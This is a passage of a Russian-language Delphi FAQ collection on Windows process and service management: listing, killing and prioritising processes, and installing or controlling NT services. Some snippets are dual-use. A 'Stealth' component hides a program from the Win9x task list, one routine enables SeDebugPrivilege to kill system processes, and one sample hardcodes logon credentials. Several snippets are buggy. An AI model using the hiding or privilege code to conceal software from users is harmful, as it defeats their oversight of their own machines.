" Unit с полезными функциями для работы с процессами
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Unit с полезными функциями для работы с процессами

Этот Unit содержит полезные функции для работы с процессами.
Взять информацию о данном процессе, обо всех процессах, убить процесс, и т.д.
Полезна при создании системных приложений под Win32.
Надо хорошо оттестировать этот Unit.

Зависимости: windows, PSAPI, TlHelp32, SysUtils;
Автор:       Alex Kantchev, stoma@bitex.bg
Copyright:   Моя разработка, некоторые функции базируются
             на примере в MSDN jan 2000 Collection
Дата:        5 июня 2002 г.
***************************************************** }

unit ProcUtilz;

interface
uses windows, PSAPI, TlHelp32, SysUtils;

type
  TLpModuleInfo = packed record
    ModuleInfo: LPMODULEINFO;
    ModulePID: Cardinal;
    ModuleName: string;
  end;

type
  TLpModuleInfoArray = array of TLpModuleInfo;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';
function DisplayProcessInThreeFingerSalute(PID: Integer; Disp: Boolean):
  Boolean;
function TakeProcessID(WindowTitle: string): Integer;
function GetCurrAppPID: Integer;
function GetAllProcessesInfo(ExtractFullPath: Boolean = false):
  TLpModuleInfoArray;
function ExtractExeFromModName(ModuleName: string): string;
function TerminateTask(PID: integer): integer;

implementation

//Wziat PID na danoi process ot nego window title

function TakeProcessID(WindowTitle: string): Integer;
var
  WH: THandle;
begin
  result := 0;
  WH := FindWindow(nil, pchar(WindowTitle));
  if WH <> 0 then
    GetWindowThreadProcessID(WH, @Result);
end;

//Wziat PID na tekuchii process

function GetCurrAppPID: Integer;
begin
  GetCurrAppPID := GetCurrentProcessID;
end;

//Pokzat process s PID v task menagera Windows 9X
//WNIMANIE: Rabotaet tolko pod Win9x !!!!

function DisplayProcessInThreeFingerSalute(PID: Integer; Disp: Boolean):
  Boolean;
begin
  result := false;
  if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
  begin
    try
      if Disp = True then
        RegisterServiceProcess(PID, 0)
      else
        RegisterServiceProcess(PID, 1);
    except
      result := false;
    end;
  end;
  DisplayProcessInThreeFingerSalute := result;
end;

//Ostanavlivaet rabotu procesa. Ne rabotaet so WinNT
//serviznae processi.

function TerminateTask(PID: integer): integer;
var
  process_handle: integer;
  lpExitCode: Cardinal;
begin
  process_handle := openprocess(PROCESS_ALL_ACCESS, true, pid);
  GetExitCodeProcess(process_handle, lpExitCode);
  if (process_handle = 0) then
    TerminateTask := GetLastError
  else if terminateprocess(process_handle, lpExitCode) then
  begin
    TerminateTask := 0;
    CloseHandle(process_handle);
  end
  else
  begin
    TerminateTask := GetLastError;
    CloseHandle(process_handle);
  end;
end;

//Wziat informacia ob processse po ego PID
//Testirano pod WinNT.

function GetProcessInfo(PID: WORD): LPMODULEINFO;
var
  RetVal: LPMODULEINFO;
  hProc: DWORD;
  hMod: HMODULE;
  cm: cardinal;
begin
  hProc := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false,
    PID);
  GetMem(RetVal, sizeOf(LPMODULEINFO));
  if not (hProc = 0) then
  begin
    EnumProcessModules(hProc, @hMod, 4, cm);
    GetModuleInformation(hProc, hMod, RetVal, SizeOf(RetVal));
  end;
  GetProcessInfo := RetVal;
end;

//Wziat executable processa ot ego polnai put

function ExtractExeFromModName(ModuleName: string): string;
begin
  ExtractExeFromModName := Copy(ModuleName, LastDelimiter('\', ModuleName) + 1,
    Length(ModuleName));
  ;
end;

//Wziat informacia ob wse processi rabotaushtie w tekuchii
//moment. Testirano pod WinNT

function GetAllProcessesInfo(ExtractFullPath: Boolean = false):
  TLpModuleInfoArray;
var
  ProcList: array[0..$FFF] of DWORD;
  RetVal: TLpModuleInfoArray;
  ProcCnt: Cardinal;
  I, MaxCnt: WORD;
  ModName: array[0..max_path] of char;
  ph, mh: THandle;
  cm: Cardinal;
  SnapShot: THandle;
  ProcEntry: TProcessEntry32;
  RetValLength, CVal: WORD;
  ModInfo: LPMODULEINFO;
begin
  //case the platform is Win9X
  if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
  begin
    GetMem(ModInfo, SizeOf(LPMODULEINFO));
    SnapShot := CreateToolhelp32Snapshot(th32cs_snapprocess, 0);
    RetValLength := 0;
    CVal := 0;
    if not integer(SnapShot) = -1 then
    begin
      ProcEntry.dwSize := sizeof(TProcessEntry32);
      if Process32First(SnapShot, ProcEntry) then
        repeat
          //get the size of out array
          Inc(RetValLength);
        until not Process32Next(SnapShot, ProcEntry);
      //set the size of the output array
      SetLength(RetVal, RetValLength);
      //iterate through processes and get their info
      if Process32First(SnapShot, ProcEntry) then
        repeat
          begin
            Inc(CVal);
            ModInfo.lpBaseOfDll := nil;
            ModInfo.SizeOfImage := ProcEntry.dwSize;
            ModInfo.EntryPoint := nil;
            RetVal[CVal].ModuleInfo := ModInfo;
            RetVal[CVal].ModulePID := ProcEntry.th32ProcessID;
            if (ExtractFullPath) then
              RetVal[CVal].ModuleName := string(ProcEntry.szExeFile)
            else
              RetVal[CVal].ModuleName :=
                ExtractExeFromModName(string(ProcEntry.szExeFile));
            ModInfo := nil;
          end;
        until not Process32Next(SnapShot, ProcEntry);
    end;
  end
    //case the platform is WinNT/2K/XP
  else
  begin
    EnumProcesses(@ProcList, sizeof(ProcList), ProcCnt);
    MaxCnt := ProcCnt div 4;
    SetLength(RetVal, MaxCnt);
    //iterate through processes and get their info
    for i := Low(RetVal) to High(RetVal) do
    begin
      //Check for reserved PIDs
      if ProcList[i] = 0 then
      begin
        RetVal[i].ModuleName := 'System Idle Process';
        RetVal[i].ModulePID := 0;
        RetVal[i].ModuleInfo := ProcUtilz.GetProcessInfo(i);
      end
      else if ProcList[i] = 8 then
      begin
        RetVal[i].ModuleName := 'System';
        RetVal[i].ModulePID := 8;
        RetVal[i].ModuleInfo := ProcUtilz.GetProcessInfo(i);
      end
        //Gather info about all processes
      else
      begin
        RetVal[i].ModulePID := ProcList[i];
        RetVal[i].ModuleInfo := GetProcessInfo(ProcList[i]);
        //get module name
        ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false,
          ProcList[i]);
        if ph > 0 then
        begin
          EnumProcessModules(ph, @mh, 4, cm);
          GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
          if (ExtractFullPath) then
            RetVal[i].ModuleName := string(ModName)
          else
            RetVal[i].ModuleName := ExtractExeFromModName(string(ModName));
        end
        else
          RetVal[i].ModuleName := 'UNKNOWN';
        CloseHandle(ph);
      end;
    end;
  end;
  //return the array of LPMODULEINFO structz
  GetAllProcessesInfo := RetVal;
end;

end.

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  I: Integer;
  PC: WORD;
begin
  ListBox1.Clear;
  ProcArr := TLpModuleInfoArray(ProcUtilz.GetAllProcessesInfo);
  PC := 0;
  for i := Low(ProcArr) to High(ProcArr) do
  begin
    ListBox1.Items.Add('Process Name: ' + ProcArr[i].ModuleName +
      ' : Proccess ID ' + IntToStr(ProcArr[i].ModulePID) + ' : Image Size: ' +
      IntToStr(ProcArr[i].ModuleInfo.SizeOfImage));
    Inc(PC);
  end;
  ListBox1.Items.Add('Total process count: ' + IntToStr(PC));
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  EC: Integer;
begin
  EC := ProcUtilz.TerminateTask(ProcArr[ListBox1.ItemIndex].ModulePID);
  if EC = 0 then
    MessageDlg('Task terminated successfully!', mtInformation, [mbOK], 0)
  else
    MessageDlg('Unable to terminate task! GetLastError() returned: ' +
      IntToStr(EC), mtWarning, [mbOK], 0);
  Button1Click(Sender);
end;
К заголовку




" Запустить процесс в защищенной области другого пользователя
uses
   JwaWinBase; ( http://members.chello.nl/m.vanbrakel2/ )

//...

procedure TForm1.Button1Click(Sender: TObject);
 var
    si: STARTUPINFOW;
    pif: PROCESS_INFORMATION;
    res: Bool;
   s: string;
 begin
   //erstmal die StartUpInfoW setzen
  //set StartUpInfoW first
  si.cb := SizeOf(startupinfow);
   si.dwFlags  := STARTF_USESHOWWINDOW;
   si.wShowWindow := SW_SHOWDEFAULT;
   si.lpReserved := nil;
   si.lpDesktop := nil;
   si.lpTitle := 'Konsole';

   // dann CreateProcessWithLogonW ausfьhren...
  // run CreateProcessWithLogonW...
  res := CreateProcessWithLogonW('Security', 'ArViCor', 'test', LOGON_WITH_PROFILE,
     'c:\win2kas\system32\regedt32.exe', nil
     , CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pif);
   if booltostr(res) = '0' then
    begin
     //wenn ein Fehler auftritt, soll der Fehlercode ausgegeben werden
    //ьber 'net helpmsg ' in der Kommandoeingabeaufforderung
    //kann dieser entziffert werden

    //if an error occures, show the error-code
    //this code can be 'translated' with 'net helpmsg ' on command-prompt
    str(GetLastError, s);
     ShowMessage('CreateProcessWithLogonResult: ' + booltostr(res) + #10 +
       'GetLastError: ' + s);
   end;
 end;

 // Verbesserungen gerne als Mail an mich!
К заголовку




" Инсталляция и удаление сервисов под НТ
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Инсталляция/удаление сервисов под НТ.

Функции для создавания и удаления NT Services.
Можно создать NT Service от текущее приложение. Параметры:
1. CreateNTService(ExecutablePath,ServiceName: String)
ExecutablePath - Полный путь к изполнимого файла от которого создавается NT Service
ServiceName - Имя сервиза которое отобразится в Service Control Manager
Результат:
true - если операциая завершена успешно
false - если есть ошибка. Можно произвести call то
GetLastError чтобы информироваться об естество ошибки
2. DeleteNTService(ServiceName: String):boolean;
ServiceName - имя сервиза подлежающии удаления
Результат:
true - если операциая завершена успешно
false - если есть ошибка. Можно произвести call то GetLastError чтобы
информироваться об естество ошибки

Зависимости: WinSVC, Windows
Автор:       Alex Kantchev, stoma@bitex.bg
Copyright:   Собственное написание
Дата:        19 июня 2002 г.
***************************************************** }

// CreateNTService(ExecutablePath,ServiceName: String)
// ExecutablePath - Полный путь к изполнимого файла от
// которого создавается NT Service
// ServiceName - Имя сервиза которое отобразится
// в Service Control Manager Результат:
//Результат:
// true - если операциая завершена успешно
// false - если есть ошибка. Можно произвести
// call то GetLastError чтобы информироваться об
// естество ошибки

function CreateNTService(ExecutablePath, ServiceName: string): boolean;
var
  hNewService, hSCMgr: SC_HANDLE;
  // Rights: DWORD;
  FuncRetVal: Boolean;
begin
  FuncRetVal := False;
  hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if (hSCMgr <> 0) then
  begin
    //Custom service access rights may be built here
    //we use GENERIC_EXECUTE which is combination of
    //STANDARD_RIGHTS_EXECUTE, SERVICE_START, SERVICE_STOP,
    //SERVICE_PAUSE_CONTINUE, and SERVICE_USER_DEFINED_CONTROL
    //You can create own rights and use them as shown in the
    //commented line below.

    //Rights := STANDARD_RIGHTS_REQUIRED or SERVICE_START or SERVICE_STOP
    // or SERVICE_QUERY_STATUS or SERVICE_PAUSE_CONTINUE or
    // SERVICE_INTERROGATE;

    hNewService := CreateService(hSCMgr, PChar(ServiceName), PChar(ServiceName),
      STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS,
      SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
      PChar(ExecutablePath), nil, nil, nil, nil, nil);
    CloseServiceHandle(hSCMgr);
    if (hNewService <> 0) then
      FuncRetVal := true
    else
      FuncRetVal := false;
  end;
  CreateNTService := FuncRetVal;
end;

// ***

//DeleteNTService(ServiceName: String):boolean;
// ServiceName - имя сервиза подлежающии удаления
//Результат:
// true - если операциая завершена успешно
// false - если есть ошибка. Можно произвести call то GetLastError чтобы
// информироваться об естество ошибки

function DeleteNTService(ServiceName: string): boolean;
var
  hServiceToDelete, hSCMgr: SC_HANDLE;
  RetVal: LongBool;
  FunctRetVal: Boolean;
begin
  FunctRetVal := false;
  hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if (hSCMgr <> 0) then
  begin
    hServiceToDelete := OpenService(hSCMgr, PChar(ServiceName),
      SERVICE_ALL_ACCESS);
    RetVal := DeleteService(hServiceToDelete);
    CloseServiceHandle(hSCMgr);
    FunctRetVal := RetVal;
  end;
  DeleteNTService := FunctRetVal;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  tmpS: string;
begin
  tmpS := 'Delphi_Service_' + Application.Title;
  if (CreateNTService(Application.ExeName, tmpS)) then
    MessageDlg('Service ' + tmpS + ' has been successfully created!',
      mtInformation, [mbOK], 0)
  else
    MessageDlg('Unable to create service ' + tmpS + ' Win32 Error code: ' +
      IntToStr(GetLastError), mtWarning, [mbOK], 0);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  tmpS: string;
begin
  tmpS := 'Delphi_Service_' + Application.Title + '1';
  if (DeleteNTService(tmpS)) then
    MessageDlg('Service ' + tmpS + ' has been successfully deleted!',
      mtInformation, [mbOK], 0)
  else
    MessageDlg('Unable to delete service ' + tmpS + ' Win32 Error code: ' +
      IntToStr(GetLastError), mtWarning, [mbOK], 0);
end;
К заголовку




" Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением
Создайте процедуру, которая будет вызываться при событии Application.OnIdle.

Обьявим процедуру:

{Private declarations}
procedure IdleEventHandler(Sender: TObject; var Done: Boolean);


В разделе implementation опишем поцедуру:

procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);
begin
  {Здесь нужно указать, что именно будем делать}
  Done := false;
end;


В методе Form'ы OnCreate - укажем что наша процедура вызывается на событии

Application.OnIdle.Application.OnIdle := IdleEventHandler;


Событие OnIdle возникает один раз - когда приложение переходит в режим "безделья" (idle). Если в обработчике переменной
Done присвоить False событие будет вызываться вновь и вновь, до тех пор пока приложение "бездельничает" и переменной
Done не присвоенно значение True.
К заголовку




" Как завершить любой процесс, в том числе и системный
// Включение, приминение и отключения привилегии.
 // Для примера возьмем привилегию отладки приложений 'SeDebugPrivilege'
 // необходимую для завершения ЛЮБЫХ процессов в системе (завершение процесов
 // созданных текущим пользователем привилегия не нужна.

function ProcessTerminate(dwPID:Cardinal):Boolean;
var
 hToken:THandle;
 SeDebugNameValue:Int64;
 tkp:TOKEN_PRIVILEGES;
 ReturnLength:Cardinal;
 hProcess:THandle;
begin
 Result:=false;
 // Добавляем привилегию SeDebugPrivilege
 // Для начала получаем токен нашего процесса
 if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
  or TOKEN_QUERY, hToken ) then
    exit;

 // Получаем LUID привилегии
 if not LookupPrivilegeValue( nil, 'SeDebugPrivilege', SeDebugNameValue )
  then begin
   CloseHandle(hToken);
   exit;
  end;

 tkp.PrivilegeCount:= 1;
 tkp.Privileges[0].Luid := SeDebugNameValue;
 tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

 // Добавляем привилегию к нашему процессу
 AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp),tkp,ReturnLength);
 if GetLastError()< > ERROR_SUCCESS  then exit;

 // Завершаем процесс. Если у нас есть SeDebugPrivilege, то мы можем
 // завершить и системный процесс
 // Получаем дескриптор процесса для его завершения
 hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
 if hProcess =0  then exit;
  // Завершаем процесс
   if not TerminateProcess(hProcess, DWORD(-1))
    then exit;
 CloseHandle( hProcess );

 // Удаляем привилегию
 tkp.Privileges[0].Attributes := 0;
 AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(tkp), tkp, ReturnLength);
 if GetLastError() < >  ERROR_SUCCESS
  then exit;

 Result:=true;
end;

 // Название добавление/удаление привилгии немного неправильные.  Привилегия или
 // есть в токене процесса или ее нет. Если привилегия есть, то она может быть в
 // двух состояниях - или включеная или отключеная. И в этом примере мы только
 // включаем или выключаем необходимую привилегию, а не добавляем ее.
К заголовку




" Как заказать сервисный процесс
unit Stealth;

interface
uses
  WinTypes, WinProcs, Classes, Forms, SysUtils, Controls, Messages;

type
  TStealth = class(TComponent)
  private
    fHideApp: Boolean;
    procedure SetHideApp(Value: Boolean);
  protected
    { Protected declarations }
    procedure HideApplication;
    procedure ShowApplication;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    // procedure Loaded; override;
  published
    { Published declarations }
    property HideApp: Boolean read fHideApp write SetHideApp default false;
  end;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
  external 'KERNEL32.DLL';

procedure Register;

implementation

destructor TStealth.Destroy;
begin
  ShowApplication;
  inherited destroy;
end;

constructor TStealth.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  // fHideform := true;
end;

procedure TStealth.SetHideApp(Value: Boolean);
begin
  fHideApp := Value;
  if Value then
    HideApplication
  else
    ShowApplication;
end;

procedure TStealth.HideApplication;
begin
  if not (csDesigning in ComponentState) then
    RegisterServiceProcess(GetCurrentProcessID, 1);
end;

procedure TStealth.ShowApplication;
begin
  if not (csDesigning in ComponentState) then
    RegisterServiceProcess(GetCurrentProcessID, 0);
end;

procedure Register;
begin
  RegisterComponents('My', [TStealth]);
end;

end.
К заголовку




" Как запустить апплет панели управления
Запустить аплет Панели управления можно вызвав функцию WinExec, для выполнения файла control.exe, которому передано имя аплета.
Обычно аплеты панели управления расположены в каталоге System Windows и имеют расширение .cpl.

procedure TForm1.Button1Click(Sender: TObject);
begin
  WinExec('C:\WINDOWS\CONTROL.EXE TIMEDATE.CPL', sw_ShowNormal);
end;


Запускать можете следующие апплеты:

    * Desk.cpl - свойства экрана
    * Inetcpl.cpl - свойства Internet
    * Intl.cpl - свойства "Язык и Стандарты"
    * Joy.cpl - игровые устройства
    * Mmsys.cpl - свойства мультимедиа
    * Modem.cpl - свойства модемы
    * Netcpl.cpl - сеть
    * Odbccp32.cpl - ODBC Data Source Administrator
    * Password.cpl - свойства пароли
    * Powercfg.cpl - свойства "Управление электропитанием"
    * Access.cpl - свойства "Специальные возможности"
    * Sticpl.cpl - свойства "Сканеры м камеры"
    * Sysdm.cpl - свойства системы
    * Telephon.cpl - параметры набора номера
    * Appwiz.cpl - установка и удаление программ
    * Main.cpl - мышь
    * Timedate.cpl - свойства "Дата и время"
    * dtccfg.cpl - настройка клиента MS DTC
    * Mlcfg32.cpl - свойства Microsoft Outlook
    * Findfast.cpl - Microsoft FrontPage
    * bdeadmin.cpl - BDE Administrator
    * ibmgr.cpl - Interbase manager

К заголовку




" Как запустить и остановить сервис (или получить его статус)
Здесь представлены две функции ServiceStart и ServiceStop, которые показывают, как пользоваться API функциями OpenSCManager,
OpenService и т.д.:

function ServiceStart(aMachine, aServiceName: string ): boolean;
// aMachine это UNC путь, либо локальный компьютер если пусто
var
  h_manager,h_svc: SC_Handle;
  svc_status: TServiceStatus;
  Temp: PChar;
  dwCheckPoint: DWord;
begin
  svc_status.dwCurrentState := 1;
  h_manager := OpenSCManager(PChar(aMachine), nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager, PChar(aServiceName),
    SERVICE_START or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      temp := nil;
      if (StartService(h_svc,0,temp)) then
        if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);
            if (not QueryServiceStatus(h_svc,svc_status)) then
              break;
            if (svc_status.dwCheckPoint < dwCheckPoint) then
            begin
              // QueryServiceStatus не увеличивает dwCheckPoint
              break;
            end;
          end;
        end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;


function ServiceStop(aMachine,aServiceName: string ): boolean;
// aMachine это UNC путь, либо локальный компьютер если пусто
var
  h_manager, h_svc: SC_Handle;
  svc_status: TServiceStatus;
  dwCheckPoint: DWord;
begin
  h_manager:=OpenSCManager(PChar(aMachine),nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager,PChar(aServiceName),
    SERVICE_STOP or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      if(ControlService(h_svc,SERVICE_CONTROL_STOP, svc_status))then
      begin
        if(QueryServiceStatus(h_svc,svc_status))then
        begin
          while(SERVICE_STOPPED <> svc_status.dwCurrentState)do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);
            if(not QueryServiceStatus(h_svc,svc_status))then
            begin
              // couldn't check status
              break;
            end;
            if(svc_status.dwCheckPoint < dwCheckPoint)then
              break;
          end;
        end;
      end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_STOPPED = svc_status.dwCurrentState;
end;


Чтобы узнать состояние сервиса, используйте следующую функцию:

function ServiceGetStatus(sMachine, sService: string ): DWord;
var
  h_manager, h_service: SC_Handle;
  service_status: TServiceStatus;
  hStat: DWord;
begin
  hStat := 1;
  h_manager := OpenSCManager(PChar(sMachine) ,nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager,PChar(sService), SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      if(QueryServiceStatus(h_svc, service_status)) then
        hStat := service_status.dwCurrentState;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := hStat;
end;


Она возвращает одну из следующих констант:

    * SERVICE_STOPPED
    * SERVICE_RUNNING
    * SERVICE_PAUSED
    * SERVICE_START_PENDING
    * SERVICE_STOP_PENDING
    * SERVICE_CONTINUE_PENDING
    * SERVICE_PAUSE_PENDING

Всё что, что Вам нужно, это unit WinSvc!
К заголовку




" Как запустить и подождать завершения 2х процессов
procedure HzChe;
var
  hProcess: array[0..1] of Cardinal;
  struc1: PSTARTUPINFO;
  struc2: PROCESS_INFORMATION;
begin

  if not CreateProcess(PChar('c:\PSTOLD.EXE'),
    nil,
    nil,
    nil,
    False,
    NORMAL_PRIORITY_CLASS,
    nil,
    nil,
    struc1^,
    struc2) then
    ShowMessage('Zhopa kakaya-to');

  hProcess[0] := struc2.hProcess;

  if not CreateProcess(PChar('c:\PSTOLD1.EXE'),
    nil,
    nil,
    nil,
    False,
    NORMAL_PRIORITY_CLASS,
    nil,
    nil,
    struc1^,
    struc2) then
    ShowMessage('Zhopa kakaya-to');

  hProcess[1] := struc2.hProcess;

  if WaitForMultipleObjects(2, @hProcess, True, INFINITE) = 1 then
    ShowMessage(' vce, priehali');
end;

P.S. То, что я понаписал нельзя считать цивильным кодом...просто демонстрация работы функции WaitForMultipleObjects
( код позорный...просто жуть...)
К заголовку




" Как определить откуда был запущен процесс
Есть handle запущенного PE файла. Как определить откуда он был запущен? Я так предполагаю что getmodulefilename как и
GetModuleHandle работает в рамках только своего процесса. А решить твою задачу .. можно так: Тут парочка моих любимых функций:

uses
  tlhelp32;

type
  TModuleArray = array of TModuleEntry32;

  // Возвращает список описаний (TModuleEntry32) модулей по идентификатору процесса

function GetModulesListByProcessId(ProcessId: Cardinal): TModuleArray;

implementation

function GetModulesListByProcessId(ProcessId: Cardinal): TModuleArray;
var
  hSnapshot: THandle;
  lpme: TModuleEntry32;

  procedure AddModuleToList;
  begin
    SetLength(Result, High(Result) + 2);
    Result[high(Result)] := lpme;
  end;

begin
  SetLength(Result, 0);
  hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessId);
  if hSnapshot = -1 then
    RaiseLastWin32Error;
  lpme.dwSize := SizeOf(lpme);
  if Module32First(hSnapshot, lpme) then
  begin
    AddModuleToList;
    while Module32Next(hSnapshot, lpme) do
      AddModuleToList;
  end;
end;

Исходный код

var
  Wnd: hWnd;
  buff: array[0..127] of Char;
  //------------------------------------
  Pid: Cardinal;
  modarr: TModuleArray;
  Name: string;
  //------------------------------------
begin
  StringGrid1.RowCount := 1;
  Wnd := GetWindow(Handle, gw_HWndFirst);
  while Wnd <> 0 do
  begin
    if (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) then
    begin
      fillchar(name, sizeof(name), #0);
      GetWindowText(wnd, buff, sizeof(buff));

      // if getmodulefilename(GetWindowLong(wnd,GWL_HINSTANCE),name,sizeof(name))=0
      // then name:='Null';
      //-----------------------------------------
      GetWindowThreadProcessId(Wnd, @Pid);
      modarr := GetModulesListByProcessId(Pid);
      name := 'Null';
      for i := 0 to High(modarr) do
      begin
        if Integer(modarr[i].modBaseAddr) = $400000 then
        begin
          name := modarr[i].szExePath;
          break;
        end;
      end;
      //-----------------------------------------
      StringGrid1.Cells[0, StringGrid1.RowCount - 1] := StrPas(buff);
      StringGrid1.Cells[1, StringGrid1.RowCount - 1] := StrPas(name);
      StringGrid1.RowCount := StringGrid1.RowCount + 1;
    end;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  end;
  StringGrid1.RowCount := StringGrid1.RowCount - 1;
end;
К заголовку




" Как получить или установить приоритет процесса в Win9x или Me
const
  ppIdle : Integer = -1;
  ppNormal : Integer = 0;
  ppHigh : Integer = 1;
  ppRealTime : Integer = 2;

function SetProcessPriority( Priority : Integer ) : Integer;
var
  H : THandle;
begin
  Result := ppNormal;
  H := GetCurrentProcess();
  if ( Priority = ppIdle ) then
    SetPriorityClass( H, IDLE_PRIORITY_CLASS )
  else
  if ( Priority = ppNormal ) then
    SetPriorityClass( H, NORMAL_PRIORITY_CLASS )
  else
  if ( Priority = ppHigh ) then
    SetPriorityClass( H, HIGH_PRIORITY_CLASS )
  else
  if ( Priority = ppRealTime ) then
    SetPriorityClass( H, REALTIME_PRIORITY_CLASS );
  case GetPriorityClass( H ) of
    IDLE_PRIORITY_CLASS : Result := ppIdle;
    NORMAL_PRIORITY_CLASS : Result := ppNormal;
    HIGH_PRIORITY_CLASS : Result := ppHigh;
    REALTIME_PRIORITY_CLASS : Result := ppRealTime;
  end;
end;

function GetProcessPriority : Integer;
var
  H : THandle;
begin
  Result := ppNormal;
  H := GetCurrentProcess();
  case GetPriorityClass( H ) of
    IDLE_PRIORITY_CLASS : Result := ppIdle;
    NORMAL_PRIORITY_CLASS : Result := ppNormal;
    HIGH_PRIORITY_CLASS : Result := ppHigh;
    REALTIME_PRIORITY_CLASS : Result := ppRealTime;
  end;
end;


Как использовать:

function SetProcessPriority( Priority : Integer ) : Integer;


для установки приоритета Вашего приложения, либо:

function GetProcessPriority : Integer;


для получения приоритета.
К заголовку




" Как получить список всех запущенных процессов
Поставь на форму список TListbox и кнопку TButton, по нажатию на кнопке напиши такой код:

procedure TForm1.Button1Click(Sender: TObject);
var
  Wnd: hWnd;
  buff: array[0..127] of Char;
begin
  ListBox1.Clear;
  Wnd := GetWindow(Handle, gw_HWndFirst);
  while Wnd <> 0 do begin {Не показываем:}
    if (Wnd <> Application.Handle) and {-Собственное окно}
      IsWindowVisible(Wnd) and {-Невидимые окна}
      (GetWindow(Wnd, gw_Owner) = 0) and {-Дочернии окна}
      (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
      then begin
      GetWindowText(Wnd, buff, sizeof(buff));
      ListBox1.Items.Add(StrPas(buff));
    end;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  end;
  ListBox1.ItemIndex := 0;
end;

К заголовку




" Как получить хэндлы всех пpоцессов, котоpые запущены на данный момент в системе
Под Windows 95 это возможно с использованием вспомогательных инфоpмационных функций (tool help functions). Для получения
списка пpоцессов надо делать следующее:

// Получение снимка состояния системы
hSnapshot := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);
// Получене инфоpмации о пеpвом пpоцессе в списке
Process32First();
// Получение инфоpмации о следующем пpоцессе в списке
Далее в цикле Process32Next();



unit KernlUtl;

interface

uses
  TlHelp32, Windows, Classes, Sysutils;

  procedure GetProcessList(List: TStrings);
  procedure GetModuleList(List: TStrings);
  function GetProcessHandle(ProcessID: DWORD): THandle;
  procedure GetParentProcessInfo(var ID: DWORD; var Path: string);

const
  PROCESS_TERMINATE = $0001;
  PROCESS_CREATE_THREAD = $0002;
  PROCESS_VM_OPERATION = $0008;
  PROCESS_VM_READ = $0010;
  PROCESS_VM_WRITE = $0020;
  PROCESS_DUP_HANDLE = $0040;
  PROCESS_CREATE_PROCESS = $0080;
  PROCESS_SET_QUOTA = $0100;
  PROCESS_SET_INFORMATION = $0200;
  PROCESS_QUERY_INFORMATION = $0400;
  PROCESS_ALL_ACCESS =
  STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $0FFF;

implementation

procedure GetProcessList(List: TStrings);
var
  I: Integer;
  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
  List.Clear;
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  if (hSnapshoot = -1) then
    Exit;
  pe32.dwSize := SizeOf(TProcessEntry32);
  if (Process32First(hSnapshoot, pe32)) then
    repeat
      I := List.Add(Format('%x, %x: %s',
      [pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile]));
      List.Objects[I] := Pointer(pe32.th32ProcessID);
    until
      not Process32Next(hSnapshoot, pe32);

  CloseHandle (hSnapshoot);
end;

procedure GetModuleList(List: TStrings);
var
  I: Integer;
  hSnapshoot: THandle;
  me32: TModuleEntry32;
begin
  List.Clear;
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
  if (hSnapshoot = -1) then
    Exit;
  me32.dwSize := SizeOf(TModuleEntry32);
  if (Module32First(hSnapshoot, me32)) then
    repeat
      I := List.Add(me32.szModule);
      List.Objects[I] := Pointer(me32.th32ModuleID);
    until
      not Module32Next(hSnapshoot, me32);

  CloseHandle (hSnapshoot);
end;

procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
var
  ProcessID: DWORD;
